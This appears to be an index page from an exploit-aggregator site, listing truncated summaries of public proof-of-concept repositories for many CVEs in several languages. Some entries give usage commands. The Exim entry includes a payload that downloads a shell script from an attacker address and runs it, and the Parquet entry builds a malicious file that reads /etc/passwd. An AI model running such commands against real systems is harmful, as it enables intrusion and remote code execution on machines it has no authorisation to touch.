CVE-2023-38831

CVE-2023-38831 exploit de winrar 6.22 = PoC rápida root@kitploit: git clone https://github.com/nhman-python/CVE-2023-38831.git cd cd CVE-2023-38831 python3 poc.py poc ejemplo de uso root@kitploit: python3 simplefile.txt script.bat output.zip ejemplo de uso https://www.youtube.com/watch?v=-mN4tTKa...

CVE-2024-56145-craftcms-rce

再次运行脚本前，请执行 fuser -k 6666/tcp 使用方法 - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 也可使用自定义命令，例如 python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i 是你的 IP 或 VPS IP（通过 ipconfig / ifconfig 获取）。 例如 - python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t 200 手动利用，对你拥有的目标运行上述...

Log4Shell-PoC-Application

☕ Log4Shell PoC Application Spring framework based web application for proof of concept for log4shell vulnerabilities Install & Launch !Important JDK 1.88u131 in development is required to launch this project Use the provided Dockerfile to build and run the Docker image for poc application...

CVE-2024-24141

CVE-2024-24141: School-Task-Manager-System-SQLInjection-1 概念验证PoC : https://github.com/BurakSevben/CVEs/blob/main/School-Task-Manager-System/CVE-2024-24141.md 概念验证PoC : https://github.com/BurakSevben/CVE-2024-24141/blob/main/CVE-2024-24141.md...

CVE-2022-32250

CVE-2022-32250 Este es mi exploit para CVE-2022-32250, escrito completamente basado en la investigación del blog de NCC Group. Probado en: versión del kernel 5.13 Tasa de éxito: 70% Compilación La compilación requiere libmnl y libnftnl. root@kitploit: make all Descargo de responsabilidad El...

CVE-2024-27956-for-fscan

🛑CVE-2024-27956-for-fscan Thanks for PoC by diego-tella English This is a Yaml PoC rule of CVE-2024-27956 Wordpress Automatic SQLi for fscan. How to use: 1. Add the yml file to path:/fscan-main/WebScan/pocs. 2. Build the fscan's go files. 3. Start the fscan and enjoy. Attention: If the...

CVE-2024-24138

CVE-2024-24138: Online Timesheet App SQL Injection Proof of ConceptPoC : https://github.com/BurakSevben/CVEs/blob/main/CVE-2024-24138.md Proof of ConceptPoC : https://github.com/BurakSevben/CVE-2024-24138/blob/main/CVE-2024-24138.md...

CVE-2015-1635

️⃣ CVE-2015-1635 要求： Python = 3.6 使用以下命令安装依赖： pip3 install -r requirements.txt 使用示例： python3 MS15-034.py -u http://targeturl.com/ -c -d 参数：...

CVE-2026-23744

CVE-2026-23744 MCPJam inspector Remote-Code-Execution: Proof Of Concept POC usage: root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...

CVE-2025-30065-PoC

CVE-2025-30065 PoC 使用方法 构建镜像 root@kitploit: docker build -t cve-2025-30065 . 生成恶意 Parquet 文件 root@kitploit: docker run --rm -v $pwd:/poc/out cve-2025-30065 generate "cat /etc/passwd" ./out/malicious.parquet 触发漏洞利用 root@kitploit: docker run --rm -v $pwd:/poc/out cve-2025-30065 trigger...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 漏洞 CVE-2019-10149 的利用 PoC 使用示例 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2024-1071-Docker

CVE-2024-1071 with Docker 🎯 Want to practice with the new WordPress CVE ? Follow the instructions Build the lab 1. Install Docker : https://docs.docker.com/get-docker/ 2. Clone the project : git clone https://github.com/Trackflaw/CVE-2024-1071-Docker.git. 3. Go to the project : cd...

CVE-2024-34470

CVE-2024-34470 PoC and Bulk Scanner Overview This is a proof-of-concept PoC and bulk scanner for CVE-2024-34470: Path Traversal vulnerability HSC Mailinspector affects all versions up to 5.2.18. How to Use POC in Action: Single Target Scan To scan a single target IP: root@kitploit: python...

Aj-Report-sql-CVE-2024-5356-POC

exp.py -u指定url或-f指定文件批量检测，-t指定线程,-h查看帮助 使用 pi install requirements.txt python exp.py -u 目标url -t 10 python exp.py -h 注意事项 保证url以http://或https://开头，否则会报错无法执行...

CVE-2020-2969

CVE-2020-2969 The PoC for CVE-2020-2969 is documented here: https://packetstormsecurity.com/files/179027/Oracle-Database-Password-Hash-Unauthorized-Access.html...

pocsuite3

pocsuite3 Legal Disclaimer Usage of pocsuite3 for attacking targets without prior mutual consent is illegal. pocsuite3 is for security testing purposes only 法律免责声明 未经事先双方同意，使用 pocsuite3 攻击目标是非法的。 pocsuite3 仅用于安全测试目的 Overview pocsuite3 is an open-sourced remote vulnerability testing and...

cert-pinning-flaw-poc

cert pinning flaw POC Simple POC script for testing CVE-2016-2402 and similar flaws. Read my blog post for details. This utility will set up a HTTPS server that servers a malicious certificate chain to the client for a specific domain. If traffic from an app with a vulnerable certificate pinning...

CVE-2025-55182

CVE-2025-55182 Proof of concept exploit for CVE-2025-55182. When successful, it will emulate a shell on the remote target over HTTP-POST requests. Works with both HTTP and HTTPS, but skips any certificate checks. Only supports directory changes with absolute paths. How to use 1. Set up the...

CVE-2021-26084_GoPOC

CVE-2021-26084GoPOC PoC of CVE-2021-26084 written in Golang based on https://twitter.com/jas502n/status/1433044110277890057?s=20...

cont-flood-poc

PoC para CVE-2023-45288 Este es un código de prueba de concepto para la vulnerabilidad de inundación CONTINUATION encontrada y documentada por Bartek Nowotarski. Los detalles técnicos están muy bien documentados en su publicación de blog aquí. Aunque mi enfoque estuvo en el error de Go tal como l...